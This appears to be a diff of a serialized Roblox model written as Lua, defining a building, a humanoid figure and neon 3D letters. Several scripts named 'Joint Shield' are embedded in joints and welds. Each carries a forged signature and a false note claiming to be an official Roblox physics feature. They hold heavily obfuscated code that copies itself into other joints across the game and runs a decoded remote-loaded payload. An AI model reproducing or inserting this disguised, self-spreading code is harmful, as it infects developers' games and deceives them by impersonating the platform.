- Part30.Orientation = Vector3.new(0, 179.559998, 0)
- Part30.Position = Vector3.new(135.240891, 1.55680096, -113.305161)
- Part30.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part30.Size = Vector3.new(8.61000919, 2.20000005, 0.67000103)
- Part30.Anchored = true
- Part30.BottomSurface = Enum.SurfaceType.Smooth
- Part30.Material = Enum.Material.Concrete
- Part30.TopSurface = Enum.SurfaceType.Smooth
- Part31.Parent = Model22
- Part31.CFrame = CFrame.new(135.252533, 1.87180495, -114.810226, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part31.Orientation = Vector3.new(0, 179.559998, 0)
- Part31.Position = Vector3.new(135.252533, 1.87180495, -114.810226)
- Part31.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part31.Size = Vector3.new(8.61000919, 2.82999945, 0.780001342)
- Part31.Anchored = true
- Part31.BottomSurface = Enum.SurfaceType.Smooth
- Part31.Material = Enum.Material.Concrete
- Part31.TopSurface = Enum.SurfaceType.Smooth
- Part32.Parent = Model22
- Part32.CFrame = CFrame.new(135.257599, 1.99180305, -115.470444, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part32.Orientation = Vector3.new(0, 179.559998, 0)
- Part32.Position = Vector3.new(135.257599, 1.99180305, -115.470444)
- Part32.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part32.Size = Vector3.new(8.61000919, 3.06999946, 0.600001872)
- Part32.Anchored = true
- Part32.BottomSurface = Enum.SurfaceType.Smooth
- Part32.Material = Enum.Material.Concrete
- Part32.TopSurface = Enum.SurfaceType.Smooth
- Part33.Parent = Model22
- Part33.CFrame = CFrame.new(135.213135, 0.681806028, -109.685318, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part33.Orientation = Vector3.new(0, 179.559998, 0)
- Part33.Position = Vector3.new(135.213135, 0.681806028, -109.685318)
- Part33.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part33.Size = Vector3.new(8.61000919, 0.450000107, 0.770001531)
- Part33.Anchored = true
- Part33.BottomSurface = Enum.SurfaceType.Smooth
- Part33.Material = Enum.Material.Concrete
- Part33.TopSurface = Enum.SurfaceType.Smooth
- Part34.Parent = Model22
- Part34.CFrame = CFrame.new(135.21991, 0.881802976, -110.555405, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part34.Orientation = Vector3.new(0, 179.559998, 0)
- Part34.Position = Vector3.new(135.21991, 0.881802976, -110.555405)
- Part34.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part34.Size = Vector3.new(8.61000919, 0.849999964, 1.01000154)
- Part34.Anchored = true
- Part34.BottomSurface = Enum.SurfaceType.Smooth
- Part34.Material = Enum.Material.Concrete
- Part34.TopSurface = Enum.SurfaceType.Smooth
- Model35.Name = ""
- Model35.Parent = Model22
- Pants36.Name = "Pants"
- Pants36.Parent = Model35
- Pants36.PantsTemplate = "http://www.roblox.com/asset/?id=98686549"
- Shirt37.Name = "Shirt"
- Shirt37.Parent = Model35
- Shirt37.ShirtTemplate = "http://www.roblox.com/asset/?id=98661795"
- Humanoid38.Name = "Figure"
- Humanoid38.Parent = Model35
- Humanoid38.Health = 0
- Humanoid38.LeftLeg = Part45
- Humanoid38.MaxHealth = 0
- Humanoid38.RightLeg = Part43
- Humanoid38.Torso = Part39
- Humanoid38.WalkSpeed = 0
- Humanoid38.maxHealth = 0
- Part39.Name = "Torso"
- Part39.Parent = Model35
- Part39.CFrame = CFrame.new(137.272324, 6.63483477, -134.331863, -0.998500228, -0.00212887255, 0.0547076128, 0.00140400033, 0.9979195, 0.0644579083, -0.0547310151, 0.0644380376, -0.996419787)
- Part39.Orientation = Vector3.new(-3.70000005, 176.860001, 0.0799999982)
- Part39.Position = Vector3.new(137.272324, 6.63483477, -134.331863)
- Part39.Rotation = Vector3.new(-176.300003, 3.1400001, 179.880005)
- Part39.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part39.Size = Vector3.new(2, 2, 1)
- Part39.Anchored = true
- Part39.BrickColor = BrickColor.new("Institutional white")
- Part39.LeftParamA = 0
- Part39.LeftParamB = 0
- Part39.LeftSurface = Enum.SurfaceType.Weld
- Part39.RightParamA = 0
- Part39.RightParamB = 0
- Part39.RightSurface = Enum.SurfaceType.Weld
- Part39.brickColor = BrickColor.new("Institutional white")
- Part39.FormFactor = Enum.FormFactor.Symmetric
- Part39.formFactor = Enum.FormFactor.Symmetric
- Snap40.Name = "Neck"
- Snap40.Parent = Part39
- Snap40.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- Snap40.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- Script41.Name = "Joint Shield ver. 98304148.5"
- Script41.Parent = Snap40
- table.insert(cors,sandbox(Script41,function()
- --rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
- --[[--
- If you see this, that means you were selected to test ROBLOX's new JointShield feature.
- This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
- Just sit back and enjoy the flawless physics.
- Happy building! - The ROBLOX Team, August 2014
- --]]--
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- end))
- Script42.Name = "Joint Shield ver. 88798075.5"
- Script42.Parent = Snap40
- table.insert(cors,sandbox(Script42,function()
- --rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
- --[[--
- If you see this, that means you were selected to test ROBLOX's new JointShield feature.
- This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
- Just sit back and enjoy the flawless physics.
- Happy building! - The ROBLOX Team, August 2014
- --]]--
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- end))
- Part43.Name = "Right Leg"
- Part43.Parent = Model35
- Part43.CFrame = CFrame.new(136.81636, 4.80153894, -134.351166, -0.999716938, 0.00444732606, -0.0233711116, 0.00462300004, 0.999961495, -0.00746808015, 0.0233369991, -0.00757401064, -0.999698997)
- Part43.Orientation = Vector3.new(0.430000007, -178.660004, 0.25999999)
- Part43.Position = Vector3.new(136.81636, 4.80153894, -134.351166)
- Part43.Rotation = Vector3.new(179.570007, -1.34000003, -179.75)
- Part43.Color = Color3.new(0.0509804, 0.411765, 0.67451)
- Part43.Size = Vector3.new(1, 2, 1)
- Part43.Anchored = true
- Part43.BottomSurface = Enum.SurfaceType.Weld
- Part43.BrickColor = BrickColor.new("Bright blue")
- Part43.brickColor = BrickColor.new("Bright blue")
- Part43.FormFactor = Enum.FormFactor.Symmetric
- Part43.formFactor = Enum.FormFactor.Symmetric
- Part44.Name = "Right Arm"
- Part44.Parent = Model35
- Part44.CFrame = CFrame.new(135.788315, 7.34872913, -133.891846, -0.953047693, 0.0364338979, -0.300620258, 0.293006927, -0.139724955, -0.945845664, -0.0764649808, -0.989519835, 0.122489177)
- Part44.Orientation = Vector3.new(71.0599976, -67.8300018, 115.489998)
- Part44.Position = Vector3.new(135.788315, 7.34872913, -133.891846)
- Part44.Rotation = Vector3.new(82.6200027, -17.4899998, -177.809998)
- Part44.Color = Color3.new(0.917647, 0.721569, 0.572549)
- Part44.Size = Vector3.new(1, 2, 1)
- Part44.Anchored = true
- Part44.BrickColor = BrickColor.new("Light orange")
- Part44.brickColor = BrickColor.new("Light orange")
- Part44.FormFactor = Enum.FormFactor.Symmetric
- Part44.formFactor = Enum.FormFactor.Symmetric
- Part45.Name = "Left Leg"
- Part45.Parent = Model35
- Part45.CFrame = CFrame.new(137.739258, 4.82711077, -134.393127, -0.993820548, -0.091803126, 0.0623921938, -0.0864269584, 0.992710531, 0.0840013921, -0.0696489736, 0.078089945, -0.994510353)
- Part45.Orientation = Vector3.new(-4.82000017, 176.410004, -4.98000002)
- Part45.Position = Vector3.new(137.739258, 4.82711077, -134.393127)
- Part45.Rotation = Vector3.new(-175.169998, 3.57999992, 174.720001)
- Part45.Color = Color3.new(0.0509804, 0.411765, 0.67451)
- Part45.Size = Vector3.new(1, 2, 1)
- Part45.Anchored = true
- Part45.BottomSurface = Enum.SurfaceType.Weld
- Part45.BrickColor = BrickColor.new("Bright blue")
- Part45.brickColor = BrickColor.new("Bright blue")
- Part45.FormFactor = Enum.FormFactor.Symmetric
- Part45.formFactor = Enum.FormFactor.Symmetric
- Part46.Name = "Left Arm"
- Part46.Parent = Model35
- Part46.CFrame = CFrame.new(138.824203, 7.35756493, -133.490051, -0.963514805, -0.0835358351, 0.254284948, -0.246776968, -0.0905962139, -0.964828253, 0.103634983, -0.992377996, 0.0666760802)
- Part46.Orientation = Vector3.new(74.7600021, 75.3099976, -110.160004)
- Part46.Position = Vector3.new(138.824203, 7.35756493, -133.490051)
- Part46.Rotation = Vector3.new(86.0500031, 14.7299995, 175.039993)
- Part46.Color = Color3.new(0.917647, 0.721569, 0.572549)
- Part46.Size = Vector3.new(1, 2, 1)
- Part46.Anchored = true
- Part46.BrickColor = BrickColor.new("Light orange")
- Part46.brickColor = BrickColor.new("Light orange")
- Part46.FormFactor = Enum.FormFactor.Symmetric
- Part46.formFactor = Enum.FormFactor.Symmetric
- Part47.Name = "Head"
- Part47.Parent = Model35
- Part47.CFrame = CFrame.new(137.232864, 8.02108765, -134.12027, -0.999719381, -0.00139642903, -0.0236505773, -0.00364300143, 0.99545002, 0.0952155814, 0.0234100074, 0.0952750072, -0.99517566)
- Part47.Orientation = Vector3.new(-5.46000004, -178.639999, -0.209999993)
- Part47.Position = Vector3.new(137.232864, 8.02108765, -134.12027)
- Part47.Rotation = Vector3.new(-174.529999, -1.36000001, 179.919998)
- Part47.Color = Color3.new(0.917647, 0.721569, 0.572549)
- Part47.Size = Vector3.new(2, 1, 1)
- Part47.Anchored = true
- Part47.BrickColor = BrickColor.new("Light orange")
- Part47.TopSurface = Enum.SurfaceType.Smooth
- Part47.brickColor = BrickColor.new("Light orange")
- Part47.FormFactor = Enum.FormFactor.Symmetric
- Part47.formFactor = Enum.FormFactor.Symmetric
- SpecialMesh48.Parent = Part47
- SpecialMesh48.Scale = Vector3.new(1.25, 1.25, 1.25)
- Decal49.Parent = Part47
- Decal49.Texture = "http://www.roblox.com/asset/?id=308851598"
- Model50.Parent = Model22
- Model51.Name = "3D Text Maker: S"
- Model51.Parent = Model50
- UnionOperation52.Name = "S"
- UnionOperation52.Parent = Model51
- UnionOperation52.CFrame = CFrame.new(146.312988, 16.5618267, -117.221313, -0.936792195, 0.349801719, 0.00769218244, 0.34981209, 0.936819911, 3.39435428e-06, -0.00720500108, 0.00269399793, -0.999970496)
- UnionOperation52.Orientation = Vector3.new(0, 179.559998, 20.4799995)
- UnionOperation52.Position = Vector3.new(146.312988, 16.5618267, -117.221313)
- UnionOperation52.Rotation = Vector3.new(-180, 0.439999998, -159.520004)
- UnionOperation52.Color = Color3.new(0.768628, 0.156863, 0.109804)
- UnionOperation52.Size = Vector3.new(3.00166345, 3.75207615, 0.375208259)
- UnionOperation52.Anchored = true
- UnionOperation52.BrickColor = BrickColor.new("Bright red")
- UnionOperation52.Material = Enum.Material.Neon
- UnionOperation52.brickColor = BrickColor.new("Bright red")
- UnionOperation52.UsePartColor = true
- Model53.Name = "3D Text Maker: N"
- Model53.Parent = Model50
- UnionOperation54.Name = "N"
- UnionOperation54.Parent = Model53
- UnionOperation54.CFrame = CFrame.new(139.530212, 17.2956448, -117.230347, -0.836246431, -0.548300147, 0.00768226432, -0.54831624, 0.836271107, -8.24641859e-07, -0.00642400328, -0.00421300111, -0.999970496)
- UnionOperation54.Orientation = Vector3.new(0, 179.559998, -33.25)
- UnionOperation54.Position = Vector3.new(139.530212, 17.2956448, -117.230347)
- UnionOperation54.Rotation = Vector3.new(180, 0.439999998, 146.75)
- UnionOperation54.Color = Color3.new(0.768628, 0.156863, 0.109804)
- UnionOperation54.Size = Vector3.new(3.00166368, 3.75207734, 0.375209123)
- UnionOperation54.Anchored = true
- UnionOperation54.BrickColor = BrickColor.new("Bright red")
- UnionOperation54.Material = Enum.Material.Neon
- UnionOperation54.brickColor = BrickColor.new("Bright red")
- UnionOperation54.UsePartColor = true
- UnionOperation55.Name = "U"
- UnionOperation55.Parent = Model50
- UnionOperation55.CFrame = CFrame.new(132.458572, 16.5466099, -117.578735, -0.976119876, 0.217096567, 0.00768595329, 0.217102975, 0.976148725, -1.68672125e-06, -0.00750299962, 0.00166699674, -0.999970436)
- UnionOperation55.Orientation = Vector3.new(0, 179.559998, 12.54)
- UnionOperation55.Position = Vector3.new(132.458572, 16.5466099, -117.578735)
- UnionOperation55.Rotation = Vector3.new(180, 0.439999998, -167.460007)
- UnionOperation55.Color = Color3.new(0.768628, 0.156863, 0.109804)
- UnionOperation55.Size = Vector3.new(3.00166345, 3.75207615, 0.375208288)
- UnionOperation55.Anchored = true
- UnionOperation55.BrickColor = BrickColor.new("Bright red")
- UnionOperation55.Material = Enum.Material.Neon
- UnionOperation55.brickColor = BrickColor.new("Bright red")
- UnionOperation55.UsePartColor = true
- Model56.Name = "3D Text Maker: G"
- Model56.Parent = Model50
- UnionOperation57.Name = "G"
- UnionOperation57.Parent = Model56
- UnionOperation57.CFrame = CFrame.new(125.479187, 16.6797447, -117.471069, -0.965922236, -0.258718401, 0.00768415397, -0.25872606, 0.965950787, -1.97983991e-06, -0.00742200203, -0.00199000328, -0.999970436)
- UnionOperation57.Orientation = Vector3.new(0, 179.559998, -14.9899998)
- UnionOperation57.Position = Vector3.new(125.479187, 16.6797447, -117.471069)
- UnionOperation57.Rotation = Vector3.new(180, 0.439999998, 165.009995)
- UnionOperation57.Color = Color3.new(0.768628, 0.156863, 0.109804)
- UnionOperation57.Size = Vector3.new(4.33447313, 4.56260586, 0.456261009)
- UnionOperation57.Anchored = true
- UnionOperation57.BrickColor = BrickColor.new("Bright red")
- UnionOperation57.Material = Enum.Material.Neon
- UnionOperation57.brickColor = BrickColor.new("Bright red")
- UnionOperation57.UsePartColor = true
- UnionOperation58.Name = "Door Frame"
- UnionOperation58.Parent = Model22
- UnionOperation58.CFrame = CFrame.new(137.590027, 7.81897879, -118.085159, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- UnionOperation58.Orientation = Vector3.new(0, 179.559998, 0)
- UnionOperation58.Position = Vector3.new(137.590027, 7.81897879, -118.085159)
- UnionOperation58.Rotation = Vector3.new(-180, 0.439999998, -180)
- UnionOperation58.Color = Color3.new(0.356863, 0.364706, 0.411765)
- UnionOperation58.Size = Vector3.new(3.99999237, 7.79000092, 0.310012817)
- UnionOperation58.Anchored = true
- UnionOperation58.BrickColor = BrickColor.new("Smoky grey")
- UnionOperation58.CanCollide = false
- UnionOperation58.Material = Enum.Material.DiamondPlate
- UnionOperation58.brickColor = BrickColor.new("Smoky grey")
- UnionOperation59.Parent = Model22
- UnionOperation59.CFrame = CFrame.new(136.336639, 16.6467724, -117.958374, -0.999309719, -0.00764787942, -0.0363526419, -0.0362999924, -0.0069139949, 0.99931711, -0.00789399818, 0.999946833, 0.00663160486)
- UnionOperation59.Orientation = Vector3.new(-87.8799973, -79.6600037, -100.779999)
- UnionOperation59.Position = Vector3.new(136.336639, 16.6467724, -117.958374)
- UnionOperation59.Rotation = Vector3.new(-89.6200027, -2.07999992, 179.559998)
- UnionOperation59.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- UnionOperation59.Size = Vector3.new(32.0100174, 1.00001526, 5.87000275)
- UnionOperation59.Anchored = true
- UnionOperation59.BrickColor = BrickColor.new("Really black")
- UnionOperation59.Material = Enum.Material.Metal
- UnionOperation59.brickColor = BrickColor.new("Really black")
- ManualWeld60.Name = "Union-to-S Strong Joint"
- ManualWeld60.Parent = UnionOperation59
- ManualWeld60.C0 = CFrame.new(-16.0050087, 0.500007629, 2.93500137, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- ManualWeld60.C1 = CFrame.new(-4.27526855, 5.43437958, 0.136726379, -0.923504472, 0.383580208, -0.00245983177, 0.383588046, 0.923481882, -0.00646177772, -0.000207000005, -0.00691104215, -0.999976099)
- ManualWeld60.Part0 = UnionOperation59
- ManualWeld60.Part1 = UnionOperation52
- ManualWeld60.part1 = UnionOperation52
- Script61.Name = "Joint Shield ver. 98304148.5"
- Script61.Parent = ManualWeld60
- table.insert(cors,sandbox(Script61,function()
- --rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
- --[[--
- If you see this, that means you were selected to test ROBLOX's new JointShield feature.
- This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
- Just sit back and enjoy the flawless physics.
- Happy building! - The ROBLOX Team, August 2014
- --]]--
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- end))
- Script62.Name = "Joint Shield ver. 88798075.5"
- Script62.Parent = ManualWeld60
- table.insert(cors,sandbox(Script62,function()
- --rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
- --[[--
- If you see this, that means you were selected to test ROBLOX's new JointShield feature.
- This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
- Just sit back and enjoy the flawless physics.
